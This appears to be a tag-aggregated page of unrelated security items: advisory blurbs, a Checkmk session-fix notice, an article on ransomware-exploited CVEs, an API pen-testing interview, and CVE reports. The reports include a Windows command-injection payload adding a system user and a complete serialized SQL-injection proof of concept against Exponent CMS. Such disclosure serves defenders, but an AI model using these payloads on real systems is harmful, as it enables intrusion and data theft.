An LDAP Injection vulnerability exists in the LdapIdentityBackend of Apache Kerby before 2.0.3.

**Apache Kerby LdapIdentityBackend LDAP Injection vulnerability**

High severity GitHub Reviewed Published Feb 20, 2023 to the GitHub Advisory Database • Updated Feb 22, 2023

GHSA-337f-xr2x-6fcf: Apache Kerby LdapIdentityBackend LDAP Injection vulnerability

Apache Commons FileUpload before 1.5 does not limit the number of request parts to be processed resulting in the possibility of an attacker triggering a DoS with a malicious upload or series of uploads.

**Apache Commons FileUpload denial of service vulnerability**

High severity GitHub Reviewed Published Feb 20, 2023 to the GitHub Advisory Database • Updated Feb 22, 2023

GHSA-hfrx-6qgj-fp6c: Apache Commons FileUpload denial of service vulnerability

Expired sessions were not securely terminated in the RestAPI for Tribe29's Checkmk <= 2.1.0p10 and Checkmk <= 2.0.0p28 allowing an attacker to use expired session tokens when communicating with the RestAPI.

Component

REST API

Title

Fix session cookie validation on RestAPI

Date

Sep 2, 2022

Checkmk Edition

Checkmk Raw (CRE)

Checkmk Version

2.2.0b1 2.1.0p11 2.0.0p29

Level

Trivial Change

Class

Security Fix

Compatibility

Compatible - no manual interaction needed

Before this Werk expired sessions were still valid on the RestAPI, since the RestAPI only vaildated the Cookie signature.

An attacker who was able to steal a session cookie could use that cookie on the RestAPI even after the session expired. Some actions though require access to the user session, these action fail due to the expired session. Some actions do not access the session and are therefore possible.

**Affected Versions**: All versions with the RestAPI are affected: 2.0, and 2.1.

**Mitigations**: Immediate mitigations are not available.

**Indicators of Compromise**: Review Apache and web.log for suspicious logs.

**Vulnerability Management**: We have rated the issue with a CVSS Score of 5.6 (Medium) with the following CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L. A CVE has been requested.

To the list of all Werks

CVE-2022-48317: Fix session cookie validation on RestAPI

**Email display mode:**

Modern rendering  
Legacy rendering

CVE-2023-25613

CVE-2023-24998

New research shows that 57 vulnerabilities that threat actors are currently using in ransomware attacks enable everything from initial access to data theft.

Many vulnerabilities that ransomware operators used in 2022 attacks were years old and paved the way for the attackers to establish persistence and move laterally in order to execute their missions.

The vulnerabilities, in products from Microsoft, Oracle, VMware, F5, SonicWall, and several other vendors, present a clear and present danger to organizations that haven't remediated them yet, a new report from Ivanti revealed this week.

**Old Vulns Still Popular**

Ivanti's report is based on an analysis of data from its own threat intelligence team and from those at Securin, Cyber Security Works, and Cyware. It offers an in-depth look at vulnerabilities that bad actors commonly exploited in ransomware attacks in 2022.

Ivanti's analysis showed that ransomware operators exploited a total of 344 unique vulnerabilities in attacks last year—an increase of 56 compared to 2021. Of this, a startling 76% of the flaws were from 2019 or before. The oldest vulnerabilities in the set were in fact three remote code execution (RCE) bugs from 2012 in Oracle's products: CVE-2012-1710 in Oracle Fusion middleware and CVE-2012-1723 and CVE-2012-4681 in the Java Runtime Environment.

Srinivas Mukkamala, Ivanti’s chief product officer, says that while the data shows ransomware operators weaponized new vulnerabilities faster than ever last year, many continued to rely on old vulnerabilities that remain unpatched on enterprise systems. 

"Older flaws being exploited is a by-product of the complexity and time-consuming nature of patches," Mukkamala says. "This is why organizations need to take a risk-based vulnerability management approach to prioritize patches so that they can remediate vulnerabilities that pose the most risk to their organization."

**The Biggest Threats**

Among the vulnerabilities that Ivanti identified as presenting the greatest danger were 57 that the company described as offering threat actors capabilities for executing their entire mission. These were vulnerabilities that allow an attacker to gain initial access, achieve persistence, escalate privileges, evade defenses, access credentials, discover assets they might be looking for, move laterally, collect data, and execute the final mission.

The three Oracle bugs from 2012 were among 25 vulnerabilities in this category that were from 2019 or older. Exploits against three of them (CVE-2017-18362, CVE-2017-6884, and CVE-2020-36195) in products from ConnectWise, Zyxel, and QNAP, respectively, are not currently being detected by scanners, Ivanti said.

A plurality (11) of the vulnerabilities in the list that offered a complete exploit chain stemmed from improper input validation. Other common causes for vulnerabilities included path traversal issues, OS command injection, out-of-bounds write errors, and SQL injection. 

**Widely Prevalent Flaws Are Most Popular**

Ransomware actors also tended to prefer flaws that exist across multiple products. One of the most popular among them was CVE-2018-3639, a type of speculative side-channel vulnerability that Intel disclosed in 2018. The vulnerability exists in 345 products from 26 vendors, Mukkamala says. Other examples include CVE-2021-4428, the infamous Log4Shell flaw, which at least six ransomware groups are currently exploiting. The flaw is among those that Ivanti found trending among threat actors as recently as December 2022. It exists in at least 176 products from 21 vendors including Oracle, Red Hat, Apache, Novell, and Amazon.

Two other vulnerabilities ransomware operators favored because of their widespread prevalence are CVE-2018-5391 in the Linux kernel and CVE-2020-1472, a critical elevation of privilege flaw in Microsoft Netlogon. At least nine ransomware gangs including those behind Babuk, CryptoMix, Conti, DarkSide, and Ryuk, have used the flaw, and it continues to trend in popularity among others as well, Ivanti said.

In total, the security found that some 118 vulnerabilities that were used in ransomware attacks last year were flaws that existed across multiple products.

"Threat actors are very interested in flaws that are present in most products," Mukkamala says.

**None on the CISA List**

Notably, 131 of the 344 flaws that ransomware attackers exploited last year are not included in the US Cybersecurity and Infrastructure Security Agency's closely followed Known Exploited Vulnerabilities (KEV) database. The database lists software flaws that threat actors are actively exploiting and which CISA assesses as being especially risky. CISA requires federal agencies to address vulnerabilities listed in the database on a priority basis and usually within two weeks or so.

"It's significant that these aren't in CISA's KEV because many organizations use the KEV to prioritize patches," Mukkamala says. That shows that while KEV is a solid resource, it doesn't provide a full view of all the vulnerabilities being used in ransomware attacks, he says.

Ivanti found that 57 vulnerabilities used in ransomware attacks last year by groups such as LockBit, Conti, and BlackCat, had low- and medium-severity scores in the national vulnerability database. The danger: this could lull organizations who use the score to prioritize patching into a false sense of security, the security vendor said.

Majority of Ransomware Attacks Last Year Exploited Old Bugs

API security is a ‘great gateway’ into a pen testing career, advises specialist in the field

API security is a ‘great gateway’ into a pen testing career, advises specialist in the field

INTERVIEW Securing web APIs requires a different approach to classic web application security, as standard tests routinely miss the most common vulnerabilities.

This is the view of API security expert Corey J Ball, who warns that methods that aren’t calibrated to web APIs can result in false-negative findings for pen testers.

After learning his craft in web application penetration testing in 2015 via hacking books, HackTheBox, and VulnHub, Ball further honed his skills on computers running Cold Fusion, WordPress, Apache Tomcat, and other enterprise-focused web applications.

Read more of the latest interviews with industry experts

He subsequentially obtained CEH, CISSP, and OSCP certificates before eventually being offered an opportunity to help lead penetration testing services at public accounting firm Moss Adams, where he still works as lead web app pen tester.

Recently focusing more narrowly on web API security – a largely underserved area – Ball has launched a free online course on the topic and published Hacking APIs: Breaking Web Application Programming Interfaces (No Starch Press, 2022).

In an interview with The Daily Swig, Ball explains how the growing use of web APIs requires a change of perspective on how we secure our applications.

**Attractive attack vector**

The past few years have seen accelerating adoption of web APIs in various sectors. In 2018, Akamai reported that API calls accounted for 83% of web traffic.

“Businesses realized they no longer need to be generalists that have to develop every aspect of their application (maps, payment processing, communication, authentication, etc),” Ball says. “Instead, they can use web APIs to leverage the work that has been done by third parties and focus on specializing.”

API stands for application programming interface, a set of definitions and protocols for building and integrating application software.

Web APIs, which can be accessed with the HTTP protocol, have spawned API services that monetize their technology, infrastructure, functionality, and data. But APIs have attracted the attention of cybercriminals too.

“Insecure APIs can be used to compromise confidentiality, integrity, and availability,” Ball says. “This potential combined with the fact many APIs are internet-facing means vulnerable APIs make for one of the best attack vectors.”

**Different rules apply**

APIs can become less of a liability by including security-focused team members during design, encouraging secure coding, conducting regular security tests, and monitoring programming calls for attacks and misuse.

Securing web APIs requires a different approach to classic web application security, according to Ball.

“Standard web application tests will result in false-negative findings for web APIs,” he explains. “Tools and techniques that are not calibrated specifically to web APIs will miss on nearly all of the common vulnerabilities.”

A notable example is a vulnerability in the USPS Informed Visibility API, first reported by security researcher Brian Krebs. The web application was thoroughly tested one month before Krebs reported the data exposure.

DON’T MISS How to become a penetration tester: Part 1 – your path into offensive security testing

During testing, tools like Nessus and HP WebInspect were applied generically to the testing targets, and therefore a significant web API vulnerability went undetected. This undiscovered security flaw, in the USPS Informed Visibility API, allowed any authenticated user to obtain access to email addresses, usernames, package updates, mailing addresses, and phone numbers associated with 60 million customers.

“The vulnerability assessment of the Informed Visibility system’s external attack surface is a great demonstration of what can happen if web application hacking techniques are applied to APIs,” Ball says. “The lesson here is that the right tools and techniques must be applied when testing APIs.”

**Side-channel API attacks**

Ball himself has found quite a few bugs through API-focused pen testing. His favorite discovery is a side-channel timing attack that exfiltrated information from an administrative API used for searching client records.

Normally, the API would reject all unauthorized requests and return a standard HTTP 401 Unauthorized response. Since the API lacked rate limiting, Ball could send many requests, testing different user IDs and names collected during passive reconnaissance. The security researcher realized that certain responses had slightly more bytes than others.

“Upon closer inspection (using Comparer), it became clear that a middleware header revealed how much longer the server would take to process certain requests,” he says. “I discovered requests that involved existing records took the server five times longer to process than non-existing records.”

Ball’s favorite find was a timing attack that exfiltrated info from an admin API used for searching client records

By piecing together various items of disclosed information, Ball was able to gather sensitive information and associate users with their user ID, zip code, phone number, health records, and SSN (social security number).

“I did not need to exfiltrate the external network, bypass a firewall, pivot within the network, and finally gain access to the right database and find a way to exfiltrate data; instead I used a web API to reveal the crown jewels,” Ball concluded.

**Opportunity knocks**

Despite web APIs becoming an increasingly popular attack vector, Ball noticed a dearth of resources about testing them for vulnerabilities before specializing in the subject himself.

“There were no books focusing on API security testing, no certifications, few blog posts \[or\] videos, etc,” he says. “I went to conferences and asked the speakers giving the latest web app hacking talks what they did for API security testing. They either had no clue what to do with APIs or there was just one person on their team that knew how to test APIs.”

Catch up on the latest web API-related security news and analysis

One of the partners at Moss Adams encouraged Ball to become an API subject matter expert. In a few months, Ball duly compiled around 150 pages of notes on the topic before realizing he was halfway through writing a book on API security.

“I saw an opportunity to share my research, to arm the testers, and help prevent that next API-related data breach,” he says. “I connected with No Starch Press. The rest is history.”

Ball has also released a free online course at APIsec University, in which he teaches different phases of the API pen testing process, including setting up a lab, doing reconnaissance, analyzing endpoints, and staging various attacks.

**UnAPI days**

Resources and standards around API security are gradually taking shape, including the publication of the top 10 API vulnerabilities by the Open Source Web Application Project (OWASP) in 2019.

However, Ball continues to see certain commonplace API security mistakes proliferating across the web. “Authorization continues to be the top API security mistake out in the wild,” he says.

He frequently sees instances of broken object level authorization and broken function level authorization, both entries on OWASP’s league table. In most cases, these vulnerabilities manifest themselves as one authenticated user being able to use the API to gain unauthorized access to the data of other users.

“With the prevalence of API authorization vulnerabilities, it seems there is both too much trust of valid users and not enough testing to make sure users and groups cannot access or alter each other’s data,” Ball says.

**Gateway bug**

As APIs continue to become more prevalent, there is a growing need for API security experts.

“I believe APIs are actually a great gateway for anyone interested in becoming a pen tester. APIs could be the first thing a new hacker hacks,” Ball says.

Where to learn about API security? Ball suggests the following resources:

*   API Penetration Testing at APIsec University
*   PortSwigger’s\* Web Security Academy
*   OWASP API Security Project

“Get very familiar with Postman and Burp Suite,” Ball advises. “Of course, if you’d like to do all of this from a single source, check out my book, Hacking APIs.”

\*PortSwigger is the parent company of The Daily Swig

RELATED API security: Broken access controls, injection attacks plague enterprise security landscape in 2022

‘Most web API flaws are missed by standard security tests’ – Corey J Ball on securing a neglected attack vector

An issue in FeMiner WMS v1.1 allows attackers to execute arbitrary code via the filename parameter and the exec function.

**Vulnerability Type :**

Command execution

**Vulnerability Version :**

1.1

**Recurring environment:**

Windows Server 2012  
PHP 5.5.38  
Apache 2.4  
Mysql 5.6

**Vulnerability Description AND recurrence:**

During installation, use the db\_wms\_2013\_12\_31\_15\_48\_34.sql file in the \\system\\ directory for installation

In the /system/databak.php file, the parameter filename was received through $\_POST, and it was not filtered. The exec function was brought in, resulting in a command execution vulnerability.

There is no echo here, let's test adding a system user here  

payload： filename=1 || net user test /add

CVE-2021-33949: Command execution vulnerability in /wms/src/system/databak.php · Issue #10 · FeMiner/wms

An issue discovered in OpenKM v6.3.10 allows attackers to obtain sensitive information via the XMLTextExtractor function.

@@ -69,8 +69,10 @@ public String extractText(InputStream stream, String type, String encoding) thro saxParserFactory.setValidating(false); SAXParser saxParser = saxParserFactory.newSAXParser(); XMLReader xmlReader = saxParser.getXMLReader(); xmlReader.setFeature("http://xml.org/sax/features/validation", false); xmlReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); xmlReader.setFeature("http://xml.org/sax/features/validation", false);  
ZipInputStream zis = new ZipInputStream(stream); ZipEntry ze = zis.getNextEntry();

CVE-2021-33950: XXE injection security vulnerability · openkm/document-management-system@ce1d823

SQL Injection vulnerability in Exponent-CMS v.2.6.0 fixed in 2.7.0 allows attackers to gain access to sensitive information via the selectValue function in the expConfig class.

**Vulnerability Info****Vulnerability Type**

ExponentCMS unauthticate sql injection

**Vulnerability Version**

v2.6.0

exponentcms/exponent-cms#1542

**Recurring environment**

*   Windows 10\* PHP 5.4.5\* Apache 2.4.23

**Author**

pang0lin@webray.com.cn inc.

**Vulnerability Description AND recurrence:**

1.  The security issue is occured at file \\framework\\modules\\eaas\\controllers\\eaasController.php The line number nearby 76.
    
        public function api() {
             if (empty($this->params['apikey'])) {
                 $_REQUEST['apikey'] = true;  // set this to force an ajax reply
                 $ar = new expAjaxReply(550, 'Permission Denied', 'You need an API key in order to access Exponent as a Service', null);
                 $ar->send();  //FIXME this doesn't seem to work correctly in this scenario
             } else {
                 $key = expUnserialize(base64_decode(urldecode($this->params['apikey'])));  //step 1
                 if (is_object($key) && $key->mod === "eaas") {
                     preg_match('/[a-zA-Z0-9_@]*/', $key->src, $matches);
                     $key->src = $matches[0];
                     // var_dump($key);
                     $cfg = new expConfig($key); // step 2
                     $this->config = $cfg->config;
                     $cfg = new expConfig($key);
                     $this->config = $cfg->config;
                 }
                 if(empty($cfg->id)) {
                     $ar = new expAjaxReply(550, 'Permission Denied', 'Incorrect API key or Exponent as a Service module configuration missing', null);
                     $ar->send();
                 } else {
                     if (!empty($this->params['get'])) {
                         $this->handleRequest();
                     } else {
                         $ar = new expAjaxReply(200, 'ok', 'Your API key is working, no data requested', null);
                         $ar->send();
                     }
                 }
             }
         }
        
    

2.  We can see issue with steps. step 1. The user's input apikey can be decoded with base64 and serilized.

step 2. The key goes into class of 'expConfig'. we try to find the definition.

        class expConfig extends expRecord {
    	protected $table = 'expConfigs';
    
    	function __construct($params=null) {
    		global $db;
    
            if (!is_array($params)) {
                $this->location_data = serialize($params);
                parent::__construct($db->selectValue($this->table, 'id', "location_data='".$this->location_data."'"));  //step 3
            } else {
                parent::__construct($params);
            }
    
    		// treat the loc data like an id - if the location data come thru as an object we need to look up the record
                //         if (!empty($params->src)) {
                //             echo "1";
                //             // if we hav a src, ie this controller has sources
                // parent::__construct($db->selectValue($this->table, 'id', "location_data='".$this->location_data."'"));
                //         } else {
                //             echo "2";
                //             // if we don't have a sourced controller, might still have a config for it.
                // parent::__construct($db->selectValue($this->table, 'id'));
                //}
    		$this->config = expUnserialize($this->config);
            if (!is_array($this->config)) {
                $this->config = array();
            }
            // now to artificially attach any file objects to the config
            if (!empty($this->config['expFile'])) {
                foreach ($this->config['expFile'] as $type=>$file) {
                    if (is_array($file)) foreach ($file as $key=>$filenum) {
                        if (is_numeric($filenum)) {
                            $this->config['expFile'][$type][$key] = new expFile($filenum);
                        } elseif (!is_object($filenum)) {
                            unset($this->config['expFile'][$type][$key]);
                        }
                    }
                }
            }
    	}
    

3.  At step 3. We can see the variable '$this->location\_data' derectly use by function 'selectValue' without any filter.Try to find the definition.

            /**
        * @param  $table
        * @param  $col
        * @param null $where
        * @return null
        */
       function selectValue($table, $col, $where=null) {
           if ($where == null)
               $where = "1";
           $sql = "SELECT " . $col . " FROM `" . $this->prefix . "$table` WHERE $where LIMIT 0,1";  //step 4
      
           $res = @mysqli_query($this->connection, $sql);
    
           if ($res == null)
               return null;
           $obj = mysqli_fetch_object($res);
           if (is_object($obj)) {
               return $obj->$col;
           } else {
               return null;
           }
       }
    

4.  Now. it's clearly to understand the issue. The user input is like . $a = new eaasController();$a->mod = 'eaas';$a->src="aaaaaabbbb";$a->abc="1' union select sleep(5) -- a";var\_dump(urlencode(base64\_encode(serialize($a)))); then, we can use this payload to test if the target is vulnerable. If the target is vulnerable, the request will use more than 10s.

    POST /index.php HTTP/1.1
    Host: exponentcms.org
    
    controller=eaas&action=api&get=photos&apikey=TzoxNDoiZWFhc0NvbnRyb2xsZXIiOjI4OntzOjExOiJ1c2VyYWN0aW9ucyI7YToxOntzOjc6InNob3dhbGwiO3M6MTk6Ikluc3RhbGwgU2VydmljZSBBUEkiO31zOjE0OiJyZW1vdmVfY29uZmlncyI7YToxMDp7aTowO3M6MTE6ImFnZ3JlZ2F0aW9uIjtpOjE7czoxMDoiY2F0ZWdvcmllcyI7aToyO3M6ODoiY29tbWVudHMiO2k6MztzOjc6ImVhbGVydHMiO2k6NDtzOjg6ImZhY2Vib29rIjtpOjU7czo1OiJmaWxlcyI7aTo2O3M6MTA6InBhZ2luYXRpb24iO2k6NztzOjM6InJzcyI7aTo4O3M6NDoidGFncyI7aTo5O3M6NzoidHdpdHRlciI7fXM6NDoidGFicyI7YTo3OntzOjc6ImFib3V0dXMiO3M6ODoiQWJvdXQgVXMiO3M6NDoiYmxvZyI7czo0OiJCbG9nIjtzOjU6InBob3RvIjtzOjY6IlBob3RvcyI7czo1OiJtZWRpYSI7czo1OiJNZWRpYSI7czo1OiJldmVudCI7czo2OiJFdmVudHMiO3M6MTI6ImZpbGVkb3dubG9hZCI7czoxNDoiRmlsZSBEb3dubG9hZHMiO3M6NDoibmV3cyI7czo0OiJOZXdzIjt9czo3OiIAKgBkYXRhIjthOjA6e31zOjEyOiIAKgBjbGFzc25hbWUiO3M6MTQ6ImVhYXNDb250cm9sbGVyIjtzOjEzOiJiYXNlY2xhc3NuYW1lIjtzOjQ6ImVhYXMiO3M6OToiY2xhc3NpbmZvIjtOO3M6MTQ6ImJhc2Vtb2RlbF9uYW1lIjtzOjk6ImV4cFJlY29yZCI7czoxMToibW9kZWxfdGFibGUiO047czoxNDoiACoAcGVybWlzc2lvbnMiO2E6NTp7czo2OiJtYW5hZ2UiO3M6NjoiTWFuYWdlIjtzOjk6ImNvbmZpZ3VyZSI7czo5OiJDb25maWd1cmUiO3M6NjoiY3JlYXRlIjtzOjY6IkNyZWF0ZSI7czo0OiJlZGl0IjtzOjQ6IkVkaXQiO3M6NjoiZGVsZXRlIjtzOjY6IkRlbGV0ZSI7fXM6MTY6IgAqAG1fcGVybWlzc2lvbnMiO2E6Njp7czo4OiJhY3RpdmF0ZSI7czo4OiJBY3RpdmF0ZSI7czo3OiJhcHByb3ZlIjtzOjc6IkFwcHJvdmUiO3M6NToibWVyZ2UiO3M6NToiTWVyZ2UiO3M6NjoicmVyYW5rIjtzOjY6IlJlUmFuayI7czo2OiJpbXBvcnQiO3M6MTI6IkltcG9ydCBJdGVtcyI7czo2OiJleHBvcnQiO3M6MTI6IkV4cG9ydCBJdGVtcyI7fXM6MjE6IgAqAHJlbW92ZV9wZXJtaXNzaW9ucyI7YTowOnt9czoxODoiACoAYWRkX3Blcm1pc3Npb25zIjthOjA6e31zOjIxOiIAKgBtYW5hZ2VfcGVybWlzc2lvbnMiO2E6MDp7fXM6MTQ6InJlcXVpcmVzX2xvZ2luIjthOjA6e31zOjg6ImZpbGVwYXRoIjtzOjgwOiIvcGhwc3R1ZHlfcHJvL1dXVy9leHBvbmVudC9mcmFtZXdvcmsvbW9kdWxlcy9lYWFzL2NvbnRyb2xsZXJzL2VhYXNDb250cm9sbGVyLnBocCI7czo4OiJ2aWV3cGF0aCI7czo2MDoiL3BocHN0dWR5X3Byby9XV1cvZXhwb25lbnQvZnJhbWV3b3JrL21vZHVsZXMvZWFhcy92aWV3cy9lYWFzIjtzOjE3OiJyZWxhdGl2ZV92aWV3cGF0aCI7czoxNToiZWFhcy92aWV3cy9lYWFzIjtzOjEwOiJhc3NldF9wYXRoIjtzOjQwOiIvZXhwb25lbnQvZnJhbWV3b3JrL21vZHVsZXMvZWFhcy9hc3NldHMvIjtzOjY6ImNvbmZpZyI7YTowOnt9czo2OiJwYXJhbXMiO2E6MDp7fXM6MzoibG9jIjtPOjg6InN0ZENsYXNzIjozOntzOjM6Im1vZCI7czo0OiJlYWFzIjtzOjM6InNyYyI7czowOiIiO3M6MzoiaW50IjtzOjA6IiI7fXM6MTE6ImNvZGVxdWFsaXR5IjtzOjY6InN0YWJsZSI7czoxNDoicnNzX2lzX3BvZGNhc3QiO2I6MDtzOjQ6ImVhYXMiO086OToiZXhwUmVjb3JkIjoyMzp7czoxMjoiACoAY2xhc3NpbmZvIjtOO3M6OToiY2xhc3NuYW1lIjtzOjk6ImV4cFJlY29yZCI7czo5OiJ0YWJsZW5hbWUiO3M6OToiZXhwUmVjb3JkIjtzOjEwOiJpZGVudGlmaWVyIjtzOjI6ImlkIjtzOjEzOiJyYW5rX2J5X2ZpZWxkIjtzOjA6IiI7czoxMjoiZ3JvdXBpbmdfc3FsIjtzOjA6IiI7czoxOToiaGFzX2V4dGVuZGVkX2ZpZWxkcyI7YTowOnt9czo3OiJoYXNfb25lIjthOjA6e31zOjg6Imhhc19tYW55IjthOjA6e31zOjEzOiJoYXNfbWFueV9zZWxmIjthOjA6e31zOjIzOiJoYXNfYW5kX2JlbG9uZ3NfdG9fbWFueSI7YTowOnt9czoyMzoiaGFzX2FuZF9iZWxvbmdzX3RvX3NlbGYiO2E6MDp7fXM6MTg6ImRlZmF1bHRfc29ydF9maWVsZCI7czowOiIiO3M6MjI6ImRlZmF1bHRfc29ydF9kaXJlY3Rpb24iO3M6MDoiIjtzOjEzOiJnZXRfYXNzb2NfZm9yIjthOjA6e31zOjI0OiIAKgBhdHRhY2hhYmxlX2l0ZW1fdHlwZXMiO2E6MDp7fXM6MjQ6ImF0dGFjaGFibGVfaXRlbXNfdG9fc2F2ZSI7TjtzOjE4OiJnZXRfYXR0YWNoYWJsZV9mb3IiO2E6MDp7fXM6ODoidmFsaWRhdGUiO2E6MDp7fXM6OToidmFsaWRhdGVzIjthOjA6e31zOjE1OiJkb19ub3RfdmFsaWRhdGUiO2E6MDp7fXM6MTg6InN1cHBvcnRzX3JldmlzaW9ucyI7YjowO3M6MTQ6Im5lZWRzX2FwcHJvdmFsIjtiOjA7fXM6MzoibW9kIjtzOjQ6ImVhYXMiO3M6Mzoic3JjIjtzOjEwOiJhYWFhYWFiYmJiIjtzOjM6ImFiYyI7czoyOToiMScgdW5pb24gc2VsZWN0IHNsZWVwKDUpIC0tIGEiO30%3D

Tag

#apache